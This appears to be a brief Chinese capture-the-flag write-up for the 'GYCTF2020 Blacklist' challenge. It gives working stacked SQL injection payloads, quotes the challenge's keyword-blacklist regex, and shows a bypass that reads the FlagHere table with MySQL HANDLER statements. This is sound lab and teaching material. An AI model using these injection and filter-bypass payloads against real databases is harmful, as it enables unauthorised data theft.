0%

[GYCTF2020]Blacklist

平台:https://buuoj.cn/

思路

很显然是sql注入,打开页面后回显

1
2
3
4
5
6
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

用一些常用的命令看看

1
2
3
1';show databases;%23
1';show tables;%23
select

得到两个有用的信息:

  1. flag在FlagHere内

  2. 过滤了以下关键字

    1
    return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

但是没有过滤handler

因此这里可以这样堆叠注入

1
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;%23

handler

1
HANDLER ... OPEN语句打开一个表,使其后续可以使用HANDLER ... READ语句访问。该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭